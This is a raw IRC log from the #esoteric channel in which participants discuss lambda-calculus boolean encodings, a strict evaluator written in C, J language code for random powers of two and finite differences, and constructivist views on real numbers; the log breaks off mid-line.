:olsner_!~salparot@c83-252-161-133.bredband.comhem.se JOIN :#esoteric < 1268576372 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268577204 0 :olsner_!unknown@unknown.invalid QUIT :Quit: olsner_ < 1268577653 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268577719 0 :BeholdMyGlory_!~behold@d83-183-181-73.cust.tele2.se JOIN :#esoteric < 1268577820 0 :BeholdMyGlory_!unknown@unknown.invalid NICK :BeholdMyGlory < 1268578525 0 :Asztal!~asztal@host86-156-192-43.range86-156.btcentralplus.com JOIN :#esoteric < 1268579502 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1268579528 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268579908 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1268580210 0 :FireFly!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1268580268 0 :puzzlet!~puzzlet@61.251.165.103 JOIN :#esoteric < 1268581083 0 :alise!~alise@genld-216-044.t-mobile.co.uk JOIN :#esoteric < 1268581108 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Windows 7 is actually not all that horribterrible. < 1268581239 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Though I do wish that Toshiba didn't bundle it with crapware like McAfee. < 1268581304 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268581342 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: wolfram's idea of a proof system: http://www.wolfram.com/products/mathematica/newin6/content/EquationalTheoremProving/ < 1268581346 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Note: Does not include proofs. < 1268581393 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://library.wolfram.com/infocenter/Articles/3885/ apparently someone was crazy enough to build a theorem prover on mathematics < 1268581394 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*mathematica < 1268581435 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi alise!! < 1268581558 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hi there < 1268581565 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :last day i'll be on til friday :( < 1268581571 0 :FireFly!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1268581677 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise: you don't know who Bruno Buchberger is?? < 1268581706 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Buchbergers algorithm < 1268582029 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i don't look at names :) < 1268582126 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :18:42:59 not that it's comparable to what alise_ wants anyhow... i certainly didn't enter any of it into a proof verifier. < 1268582126 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Verifier? Why, oerjan, you /start/ with the prover, not /end/ with it! < 1268582130 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, you end with it too. < 1268582159 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: so I was inspired by the suckingness of all CASs to try and unify my OS and my language by adding elements of term rewriting to my language so that it can be used as part of a full-stack CAS < 1268582161 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which is then the OS < 1268582228 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I am also quite mad < 1268582361 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:09:01 * Sgeo switches back to Pidgin < 1268582376 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm actually using Digsby because I don't value my IM passwords and Pidgin sucks way too badly on Windows :) < 1268582395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:16:59 You know, redesigning computing from the ground up actually sounds kind of difficult. < 1268582395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :There /is/ a reason it subsumes all my other projects... < 1268582430 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:36:12 Files, one of Unix's fundamental units of organization, can be greatly done away with; they can be replaced with some abstract object thingy. < 1268582430 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Patented, dude. I patented it. < 1268582442 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :21:42:04 ahh, looks like it forked in 2005 to Coyotos and CapROS. shows how much I've been keeping up with these things. < 1268582442 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and coyotos died < 1268582448 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :since the dude wen to work for microfuck < 1268582460 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Microfuck is totally the most realistic MS-mangling.) < 1268582499 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :22:16:24 I can't imagine that the "ultra" version of a game so complicated that the human brain is only capable of understanding either it or all other games, is a good idea. < 1268582499 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :<3 < 1268583223 0 :nooga!~nooga@86-63-119-166.sta.asta-net.com.pl JOIN :#esoteric < 1268583800 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :.... < 1268584477 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maxima is rubbish < 1268584792 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ugh, how do you tell LaTeX that yes, this multiple-character string /is/ a variable name? < 1268584855 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268586015 0 :nooga!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268586506 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 615 seconds < 1268586999 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268587236 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :OR := \p q. p (\x. p) q < 1268587254 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ISFALSE := \x. OR x TRUE < 1268587263 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ISTRUE := \x. x ISFALSE FALSE < 1268587270 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sometimes I forget just how pretty the lambda calculus is. < 1268587317 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Then ISBOOL := \x. OR (ISFALSE x) (ISTRUE x), of course.) < 1268587334 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Isn't ISTRUE just id ... < 1268587350 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well... yes. < 1268587369 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: I was trying to make "types" from scratch with just the lambda calculus. < 1268587375 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then ISBOOL would be the type ISBOOL. < 1268587380 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hey, ISFALSE/ISTRUE would also be types. < 1268587387 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: but the issue is that it could be some /other/ function of two arguments. < 1268587414 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ISBOOL := \x. OR (OR x TRUE) (x ISFALSE FALSE) < 1268587416 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ISBOOL := \x. OR (OR x TRUE) x < 1268587419 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ISBOOL := \x. OR (NOT x) x < 1268587423 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Law of the excluded middle! < 1268587484 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you accept it then < 1268587489 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ISBOOL := \x. TRUE < 1268587509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ISBOOL := \x f y. f y < 1268587512 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ISBOOL := \x f. f < 1268587529 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"Is this value a boolean?" "Identity function." < 1268587949 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268588421 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Changing host < 1268588421 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268589374 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION writes a superstrict lambda-calculus evaluator in emacs
< 1268589385 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I wonder what relation this has to specialisation < 1268589436 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :POW 3 (given POW x y = y^x) will result in a lambda, which will be evaluated; this lambda will have all instances of x replaced with 3, resulting in applications involving 3. these will be reduced as far as possible < 1268589453 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :One wonders whether it's turing-complete, though, with all this strictness. < 1268589461 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :in emacs?? < 1268589494 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268589525 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Erm. < 1268589526 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :In C. < 1268589530 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I did write it in Emacs, though. < 1268589570 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Superstrict LC compilation would be the fastest a pure pinnacle of mathematical beauty would ever run on a machine made out of atoms, and bits. < 1268589585 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION braces self; installs cygwin.
< 1268589588 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :This will be painful. < 1268589601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Cygwin is /always/ painful. < 1268589606 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But it beats using cmd.exe. < 1268589611 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or wait, I have powershell, which is okay. < 1268589614 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Powershell + MinGW? < 1268589858 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's also related to symbolic evaluation < 1268589891 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in that if it sees a variable it doesn't know it ignores it, and if you do f x where f is known but x is not it substitutes x in f < 1268589951 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :including for f (g x y) where f, g and y are known but x isn't; y is substituted for the appropriate place in g, resulting in an expanded g with the free variable x; and then this is substituted for the correct position in f < 1268590654 0 :augur!unknown@unknown.invalid QUIT :Quit: Leaving... < 1268590659 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268591075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A random small power of two in J: */1+?24$2 < 1268591085 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Increase/decrease 24 to get smaller(on average)/bigger powers. < 1268591121 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Read out: Multiply over 1 plus random in range 24 twos < 1268591137 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Where ?n has n possibilities; i.e. ?1 is always 0, so ?2 is 0 or 1. < 1268591148 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So ?2 2 is 0 0, 0 1, 1 0 or 1 1. < 1268591166 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So ?2 2 is 0 0 0, 0 0 1, 0 1 0, 0 1 1, 1 0 0, 1 0 1, 1 1 0, or 1 1 1. (See a patern?) < 1268591185 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So we get 24 of those, add 1 to them so we get e.g. 1 2 2 instead of 0 1 1. < 1268591191 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then we multiply them: 1*2*2 = 4. < 1268591318 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : pow2 := monad define < 1268591319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*/1+?y$2 < 1268591319 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268591334 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then (pow2 n) produces a value in the range 1 to 2^n, inclusive. < 1268591376 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :??? < 1268591381 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What? < 1268591409 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, actually, it's in the range 1 to 2^(n-1). < 1268591412 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: what's ??? ? < 1268591423 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268591475 0 :jcp1!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268591501 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Haha, sweet: J's natural language facilities then mean that "pow2 (m,n)" produces n "pow2 m"s. < 1268591538 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pow2 (n,i,j) produces an i x j 2d array of "pow2 n"s. < 1268591538 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And so on, so forth. < 1268591561 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can write that shorter as "pow2 (n i j)" of course. Even shorter as "pow2 n i j". < 1268591581 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And I didn't even write any code to do it :-) < 1268591586 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: what confuses you? < 1268591612 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yndpaf < 1268591618 0 :jcp1!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268591618 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :my hands feel like they're goint to fall off < 1268591622 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why < 1268591624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cold or hot? < 1268591630 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :neither < 1268591660 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then what < 1268591682 0 :FireFly!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268591690 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :haha (pow2 '') ('' is empty array) is 1 or 2 < 1268591693 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I love J < 1268591693 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268591709 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268591736 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268592600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Recursion in C: < 1268592601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :LC *lcalloc(void) < 1268592602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :{ < 1268592602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : return malloc(sizeof lcalloc()); < 1268592602 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :} < 1268592608 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If only pikhq was here to see it. < 1268592810 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wow, Windows pops up a little "blah.exe has stopped working, trying to find a solution..." box if you dereference a null pointer < 1268592848 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: Hmmmm, that doesn't actually recurse, does it? < 1268592901 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nope! < 1268592914 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's like the relatively common, and good practice, int *x = malloc(length * sizeof *x); < 1268592921 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, I guess sizeof(*x) is more best-practicey. < 1268592928 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's good because it works even if you change the element type of x. < 1268592943 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MY function is good simply because it's ridiculous. < 1268592965 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, but it's /not/ recursion in C. It neither recurses at compile time nor runtime. < 1268592968 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Beautiful. < 1268592970 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[Window Title] < 1268592979 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :superstrict.exe < 1268592979 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[Main Instruction] < 1268592979 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :superstrict.exe has stopped working < 1268592979 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[Content] < 1268592979 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Windows is checking for a solution to the problem... < 1268592980 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :[Cancel] < 1268592980 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hey, I can Ctrl-C that fancy box. < 1268592981 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Which is why I called it "recursion in C". < 1268592991 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Wait what? You didn't tab-complete the first time I tried. < 1268592995 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... okidokie. < 1268592995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Wait, what? < 1268593003 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I woke up. < 1268593005 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: It's silly. It is permissible for me to be silly. < 1268593018 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: But... you didn't join. < 1268593020 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :IT IS NOT PERMISSIBLE < 1268593023 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Unless mIRC won't tab-complete away clients... < 1268593029 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: I've been here all this time. < 1268593049 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I literally do not turn off this computer. Or the IRC client upon it. < 1268593123 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also: goddamned DST. < 1268593123 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but mIRC didn't tab complete you before :P Maybe it wsa just me < 1268593220 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*was < 1268593491 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268593772 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: as soon as i figure out how to define adverbs I'll do your finite calculus in j < 1268593776 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even though j has derivative already... < 1268593811 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, that will be so cool!!! < 1268593814 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :make sure you show me it < 1268593887 0 :hiato!~fdulu@dsl-245-63-253.telkomadsl.co.za JOIN :#esoteric < 1268594040 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268594091 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: well here's deriv < 1268594092 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : deriv =: adverb define < 1268594093 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :u (y+1) - u y < 1268594093 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268594103 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : id deriv 3 < 1268594104 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 < 1268594142 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : - deriv 0 1 2 3 4 5 < 1268594142 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :_1 _3 _5 _7 _9 _11 < 1268594161 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: I can't do your proofs - J doesn't do that stuff < 1268594195 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: but there's the deriv operator... < 1268594201 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :do finite integration now :-) < 1268594237 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : % deriv i. 10x < 1268594238 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0 1 2r5 3r11 4r19 5r29 6r41 7r55 8r71 9r89 < 1268594243 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah it doesn't matter if you can encode proofs < 1268594244 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(%x is 1/x) < 1268594248 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :just write correct code, that's as good < 1268594265 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah I think that definition of deriv is the closest to flawless code you can get :P < 1268594295 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: now write integration < 1268594308 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, integration is quite difficult :) < 1268594313 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :inded it is < 1268594315 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*indeed it is < 1268594317 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I am not sure I am ready for that yet < 1268594326 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks at your discrete definite integral - gulp
< 1268594331 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I need to have some theory of stirling numbers < 1268594332 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :higher-order functions are /not/ J's strong point < 1268594344 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it has adverbs that's about it... and if you really want you can pass functions around, with difficulty < 1268594358 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also it has three arguments < 1268594366 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :j doesn't really "do" >2 arguments, you have to use an array :) < 1268594399 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : (% deriv) deriv i. 7x < 1268594400 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 1 65r209 451r2011 1729r9649 4901r32621 11521r88801 < 1268594402 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh the humanity! < 1268594502 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: my derivative actually works on non-Z functions < 1268594504 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :though it's fucking pointless to do so... < 1268594517 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why is it pointless? < 1268594525 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well if you want anything like regular derivative that is < 1268594538 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : id deriv < 1268594539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :+----------------------+ < 1268594539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :�id�+-----------------+� < 1268594539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :� ��1�:�u (y+1) - u y�� < 1268594539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :� �+-----------------+� < 1268594539 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :+----------------------+ < 1268594545 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not as impressive as the output of symbolic differentiation :) < 1268594554 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :lol mirc converted real box drawing chars to ascii automatically < 1268594617 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : +/ deriv (1,2,3,4,5,6) < 1268594617 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :_99 < 1268594667 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: that's deriv on f : [int] -> [int] < 1268594668 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268594684 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :more accurately [[...[int]...]] -> [[...int...]] (stripping off one level) < 1268594729 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: if deriv wasn't an adverb I could just do deriv^:_1 < 1268594733 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :VOILA, INTEGRATION < 1268594735 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::p < 1268594759 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268594762 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :huh j also has limits < 1268594767 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cute syntax ^:_ < 1268594768 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e. < 1268594773 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :f^\infty(x) < 1268594958 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: anyway if you have any functions that aren't too higher-order related to this i can define them < 1268594965 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries plotting a derivative
< 1268595110 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plot sin steps 0 10 100 // just copying this for reference < 1268595113 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268595124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : x=: steps 0 10 100 < 1268595124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : plot x;sin x < 1268595134 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :-- (9 of 23) Plot ------------------------------------------- < 1268595136 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The above example could have been entered more simply as: < 1268595136 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :) < 1268595136 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : plot (];sin) steps 0 10 100 < 1268595150 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION was about to say something about there being more reals than functuibns, but that's only functions we can.. describe? write down?
< 1268595172 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The set of reals is smaller than the set of functions, because uncomputable reals do not exist. < 1268595180 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1268595189 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you take the meaningless view that they do "exist" - which unfortunately most mathematicians do - < 1268595195 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then yes, the reals are more numerous than the computable functions. < 1268595225 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But they cannot be described, they cannot be calculated; they do not have any existence more than a seemingly-meaningful but actually meaningless jumble of words that is labelled their "definition". < 1268595227 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: http://en.wikipedia.org/wiki/Chaitin%27s_constant < 1268595232 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268595236 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Does not exist. Look up "constructivism" < 1268595252 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :1 doesn't exist < 1268595262 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1268595284 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I mean exist as in "has any meaningful properties relating to its value in an abstract universe". < 1268595285 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'd say something about constructivisim, but I think it's an argument against a strawman < 1268595314 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Constructivism proved the four-colour theorem, bitch. < 1268595437 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: lol my id deriv has values other than 1 i think < 1268595464 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if you call it on a float < 1268595571 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268595624 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: plot (];% deriv) steps 1 100 100 < 1268595632 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plots the derivative of % < 1268595634 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :works perfectly < 1268595671 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :show me :( < 1268595688 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :like what, a screenshot? < 1268595692 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268595834 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: uploading < 1268595885 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: http://i.imgur.com/bg46u.png < 1268595906 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that steps 1 100 < 1268595910 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*100 100 < 1268595911 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :could just be steps 1 100 :P < 1268595917 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's steps start end lengthofresult < 1268595924 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's the derivative of a product? < 1268595944 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh no I see what it is < 1268595971 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :%x is 1%x < 1268595972 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which is < 1268595974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :1 < 1268595974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :- < 1268595974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :x < 1268596030 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: so % deriv x is almost but not quite %x... < 1268596032 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : % deriv 100 < 1268596032 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0.00990197 < 1268596033 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : %100 < 1268596033 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :0.01 < 1268596035 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Most things in school aren't required for a typical 9-5 job. < 1268596035 0 :fax!unknown@unknown.invalid PRIVMSG 